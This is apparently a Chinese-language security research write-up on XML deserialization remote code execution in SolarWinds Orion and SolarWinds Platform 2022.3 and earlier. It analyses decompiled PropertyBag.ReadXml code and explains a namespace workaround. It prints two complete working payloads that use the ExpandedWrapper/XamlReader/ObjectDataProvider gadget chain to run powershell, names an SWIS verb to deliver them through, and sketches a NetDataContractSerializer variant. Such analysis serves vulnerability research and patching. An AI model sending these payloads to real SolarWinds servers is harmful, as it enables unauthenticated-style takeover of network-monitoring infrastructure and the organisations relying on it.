SolarWinds DeserializeFromStrippedXml RCE

https://www.zerodayinitiative.com/advisories/ZDI-22-1664/ https://www.zerodayinitiative.com/advisories/ZDI-22-1459/

影响版本 SolarWinds Platform 2022.3 and earlier Orion Platform 2020.2.6 HF5 and earlier

DeserializeFromStrippedXml方法存在以下四个dll

  • solarwinds.informationservice.Contract.dll
  • solarwinds.MessageBus.dll
  • solarwinds.informationservice.Addons.dll
  • solarwinds.Orion.Core.SharedCredentials.Provider.dll

来看看diff,明显的xml反序列化。

Solarwinds软件中有一个SolarWinds Information Service (SWIS)服务,可通过该服务访问到Orion平台中的数据,提供了一种类似于SQL的语言SWQL。

默认监听端口端口17778、17777,官方提供了SWQL Studio工具可进行SWQL查询以及API调用,HTTP也能进行部分调用但是只能调用一部分。

如果熟悉WCF,很容易找到对应的接口在/SolarWinds/InformationService/v3/json/,在配置文件:

text

<endpoint address="/Json" binding="webHttpBinding" bindingConfiguration="RestBinding" contract="SolarWinds.InformationService.Core.IRestInformationService" behaviorConfiguration="RestEndpointBehavior">
    <identity>
    <certificateReference x509FindType="FindBySubjectDistinguishedName" storeName="My" storeLocation="LocalMachine" findValue="CN=SolarWinds-Orion" />
    </identity>
</endpoint>

对应类:

text

SolarWinds.InformationService.Core#IRestInformationService

不过SWQL Studio更加方便,只需要找到对应的verb填入参数即能调用

这个CVE影响的是solarwinds.informationservice.Addons.dll,和上面提到的另外两个dll文件都实现了自定义反序列化的逻辑,实现都大同小异。

入口是将所有参数进行反序列化(DataContractSerializer),类型对应调用Verb函数的接收参数,如上。但是可以找到一个类实现了IXmlSerializable接口的方法,DataContractSerializer反序列化该类时会调用其readxml方法进行下一步操作,就像Json.NET自定义JsonConverter#ReadJson方法一样。

SolarWinds.InformationService.Addons.PropertyBag类继承了IXmlSerializable接口并实现了Readxml方法,当反序列化为PropertyBag类型时会调用ReadXml走自定义反序列化的逻辑,定位到SolarWinds.InformationService.Addons.PropertyBag#ReadXMl方法

bash

	public void ReadXml(XmlReader reader)
	{
		foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))
		{
			XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");
			if (xelement != null)
			{
				string value = xelement.Value;
				XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");
				if (xelement2 != null)
				{
					string value2 = xelement2.Value;
					XAttribute xattribute = xelement2.Attribute("overrideType");
					if (xattribute != null)
					{
						value2 = xattribute.Value;
					}
					object obj = null;
					XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");
					if (xelement3 != null && !xelement3.IsEmpty)
					{
						string value3 = xelement3.Value;
						// 这里使用的反序列化器变为xmlserialzer
						obj = this.Deserialize(value3, value2);
						PropertyBagWhiteListCollector.LogObjectInfo(obj, SolarWinds.Serialization.Json.SerializationHelper.GetMethodFromStackTrace(), SolarWinds.Serialization.Json.SerializationHelper.GetAssemblyName());
					}
					base.Add(value, obj);
				}
			}
		}
	}

将从xml中取出type和value进行反序列化,均可控。跟进

中间有一部分逻辑省略了,最终确实拿到了我们期望的类型,然后调用DeserializeFromStrippedXml进行反序列化,但是在反序列化之前还会处理一次我们的xml

bash

		public object DeserializeFromStrippedXml(string strippedXml)
		{
			if (strippedXml == null)
			{
				throw new ArgumentNullException("strippedXml");
			}
			string s = string.Format("<{0} xmlns='{1}'>{2}</{0}>", this.XsdElementName, this.Namespace, strippedXml);
			return this.Serializer.Deserialize(new StringReader(s));
		}

会在我们的payload最外层嵌套一层标签,这里XsdElementName是通过type正常生成的为ExpandedWrapperOfXamlReaderObjectDataProvider,但是namespace是获取为空的。

命名空间的问题会导致正常payload无法正常执行,经过测试顶级命名空间不可控的情况下,移至子标签payload可正常执行,后来作者也提到了finding-deserialization-bugs-in-the-solarwind-platform

所以针对SolarWinds.InformationService.Addons.PropertyBag的payload

bash

<dictionary xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">
    <item>
        <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>
        <key>g7shot</key>
        <value>&lt;ExpandedElement/&gt;&lt;ProjectedProperty0 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"&gt;&lt;MethodName&gt;Parse&lt;/MethodName&gt;&lt;MethodParameters&gt;&lt;anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"&gt;&lt;![CDATA[&lt;ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"&gt;&lt;ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"&gt;&lt;ObjectDataProvider.MethodParameters&gt;&lt;b:String&gt;powershell&lt;/b:String&gt;&lt;b:String&gt;-c calc solarwindsRCE&lt;/b:String&gt;&lt;/ObjectDataProvider.MethodParameters&gt;&lt;/ObjectDataProvider&gt;&lt;/ResourceDictionary&gt;]]&gt;&lt;/anyType&gt;&lt;/MethodParameters&gt;&lt;ObjectInstance xsi:type="XamlReader"&gt;&lt;/ObjectInstance&gt;&lt;/ProjectedProperty0&gt;</value>
    </item>
</dictionary>

DataContractSerializer–>IXmlSerializable#ReadXml –>XmlSerializer RCE,调用栈

自定义xml反序列化的地方有三处,这里利用到的类是SolarWinds.InformationService.Contract2.PropertyBag。

readxml实现如下

bash

	public void ReadXml(XmlReader reader)
	{
		foreach (XElement parent in PropertyBag.ElementsNamespaceOptional((XElement)XNode.ReadFrom(reader), "item"))
		{
			XElement xelement = PropertyBag.ElementNamespaceOptional(parent, "key");
			if (xelement != null)
			{
				string value = xelement.Value;
				XElement xelement2 = PropertyBag.ElementNamespaceOptional(parent, "type");
				if (xelement2 != null)
				{
					string value2 = xelement2.Value;
					XAttribute xattribute = xelement2.Attribute("overrideType");
					if (xattribute != null)
					{
						value2 = xattribute.Value;
					}
					Type left;
					if (value2 == "SolarWinds.InformationService.PropertyBag")
					{
						left = typeof(PropertyBag);
					}
					else
					{
						left = Type.GetType(value2);
					}
					object obj = null;
					XElement xelement3 = PropertyBag.ElementNamespaceOptional(parent, "value");
					if (xelement3 != null && !xelement3.IsEmpty && left != null)
					{
						string value3 = xelement3.Value;
						obj = this.Deserialize(value3, value2);
						PropertyBagWhiteListCollector.LogObjectInfo(obj, SerializationHelper.GetMethodFromStackTrace(), SerializationHelper.GetAssemblyName());
					}
					base.Add(value, obj);
				}
			}
		}
	}

和上面大同小异,最终构造针对SolarWinds.InformationService.Contract2.PropertyBag的payload如下

xml

<AlertingActionContext
    xmlns="http://schemas.solarwinds.com/2008/Orion"
    xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
    <MacroContext
        xmlns="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.Actions.Contexts"
        xmlns:a="http://schemas.solarwinds.com/2008/Orion">
        <a:contexts
            xmlns:b="http://schemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Models.MacroParsing">
            <b:ContextBase i:type="a:SwisEntityContext">
                <a:DisplayName>Net object properties</a:DisplayName>
                <a:EntityProperties>
                    <item xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag">  
                    <key>g7shot</key>  
                    <type>System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</type>  
                    <value>
                            <a><![CDATA[<ProjectedProperty0 xmlns:a="http://www.w3.org/2001/XMLSchema-instance" xmlns:b="http://www.w3.org/2001/XMLSchema"><MethodName>Parse</MethodName><MethodParameters><anyType a:type="b:string">]]></a>
                            <b>&lt;![CDATA[</b>
                            <d><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:a="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider a:Key="" ObjectType="{a:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>powershell</b:String><b:String>-c calc SolarwindsRCE</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></d>
                            <e>]]&gt;</e>
                            <c><![CDATA[</anyType></MethodParameters><ObjectInstance a:type="XamlReader"/></ProjectedProperty0>]]></c>
                    </value> 
                    </item>
                </a:EntityProperties>
                <a:EntityType i:nil="true"/>
                <a:EntityUri i:nil="true"/>
            </b:ContextBase>
        </a:contexts>
    </MacroContext>
    <AlertActiveId i:nil="true"/>
    <AlertContext>
        <AlertName i:nil="true"/>
        <CreatedBy i:nil="true"/>
    </AlertContext>
    <AlertObjectId i:nil="true"/>
    <EntityType i:nil="true"/>
    <EntityUri i:nil="true"/>
    <EntityUris i:nil="true"
        xmlns:a="http://schemas.microsoft.com/2003/10/Serialization/Arrays"/>
        <ExecutionMode>Trigger</ExecutionMode>
        <IsGlobalAlert>false</IsGlobalAlert>
        <NetObjectData i:nil="true"
            xmlns:a="http://s
chemas.datacontract.org/2004/07/SolarWinds.Orion.Core.Common.Alerting"/>
            <ObjectDataExists>false</ObjectDataExists>
        </AlertingActionContext>

找到入口点传入的类型为SolarWinds.InformationService.Addons.PropertyBag,复制上面的payload发送,比如Orion.AlertActionExecuted.ReportIndication的verb

Solarwinds之前的CVE-2022-36957( PropertyBagJsonConverter )和上面的两个Xml反序列化,都是通过找到特定类自定义的反序列化进行下一步的利用。

对比下DataContractSerializer正常反序列化逻辑和走自定义反序列化逻辑的调用栈:

最终都会进入到XmlObjectSerializerReadContext#ReadDataContractValue方法,然后再调用ReadXmlValue走内部反序列化的逻辑,具体代码

bash

protected virtual object ReadDataContractValue(
    DataContract dataContract,
    XmlReaderDelegator reader)
{
    return dataContract.ReadXmlValue(reader, this);
}

根据上面的调用栈可以发现两种不同的反序列化过程区别在于dataContract属性,分别是XmlDataContract和ClassDataContract,而dataContract是在DataContractSerializer类中进行初始化的:

bash

private DataContract RootContract
{
    get
    {
    if (this.rootContract == null)
    {
        this.rootContract = DataContract.GetDataContract(this.dataContractSurrogate == null ? this.rootType : DataContractSerializer.GetSurrogatedType(this.dataContractSurrogate, this.rootType));
        this.needsContractNsAtRoot = this.CheckIfNeedsContractNsAtRoot(this.rootName, this.rootNamespace, this.rootContract);
    }
    return this.rootContract;
    }
}

然后通过一系列的调用获取DataContract复制给this.RootContract,贴下这部分调用栈

最终会拿到对应的DataContract实例:

由于本地调试环境问题没有详细跟进,不过可以清楚看见第二个红框标记的一个if条件是type.IsDefined(Globals.TypeOfDataContractAttribute, false)

参考官方文档,在使用DataContractSerializer反序列化类时,类需要标记DataContract特性,所以在正常使用过程中都会使用ClassDataContract#ReadXmlValue,然后再走内部反序列化的逻辑,这里不再赘述。

简单看下XmlDataContract#ReadXmlValue最终是怎么调用到反序列化类的ReadXml方法中的:

进入ReadXmlValue方法中之后会调用XmlObjectSerializerReadContext.ReadIXmlSerializable(),跟进

到这里最终调用了ReadXml方法走自定义反序列化的逻辑。 那其他Xml序列化器是否也有类似的处理逻辑?我们知道常见的xml序列化器有

  • DataContractSerializer,继承XmlObjectSerializer
  • NetDataContractSerializer,继承XmlObjectSerializer
  • XmlSerializer

调试发现NetDataContractSerializer同样也支持这种方式,如果CVE-2022-36958的序列化器是NetDataContractSerializer,如下payload也同样适用:

bash

<dictionary z:Type="SolarWinds.InformationService.Contract2.PropertyBag" z:Assembly="SolarWinds.InformationService.Contract, Version=2022.3.0.0, Culture=neutral, PublicKeyToken=null" xmlns="http://schemas.solarwinds.com/2007/08/informationservice/propertybag" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
    <item>
    payload
    </item>
</dictionary>

最后补充下类自定义Xml( DataContractSerializer、NetDataContractSerializer )反序列化条件:

  1. 继承IXmlSerializable&不能被DataContract特性标记
  2. 定义XmlRoot特性或者XmlSchemaProvider特性
  3. 需要一个无参构造函数

例如反序列化这个类时就能走到ReadXml方法:

bash

    //条件1
    // [XmlRoot("dictionary", Namespace = "http://schemas.solarwinds.com/2007/08/informationservice/propertybag")]
    [XmlSchemaProvider("GetSchema")]
    //条件2
    class Person : IXmlSerializable
    {
        [DataMember()]
        public string FirstName;
        [DataMember]
        public string LastName;
        [DataMember()]
        public int Age;

        public Person(string newfName, string newLName, int age)
        {
            FirstName = newfName;
            LastName = newLName;
            Age = age;
        }
        // 条件3
        public Person()
        {
            Console.WriteLine("init!!!");
        }
        public XmlSchema GetSchema()
        {
            throw new NotImplementedException();
        }

        public void ReadXml(XmlReader reader)
        {
            throw new NotImplementedException();
        }

        public void WriteXml(XmlWriter writer)
        {
            throw new NotImplementedException();
        }
        public static XmlQualifiedName GetSchema(XmlSchemaSet xs)
        {
            return null;
        }
    }

system.xml.serialization.ixmlserializable whitepaper-net-deser.pdf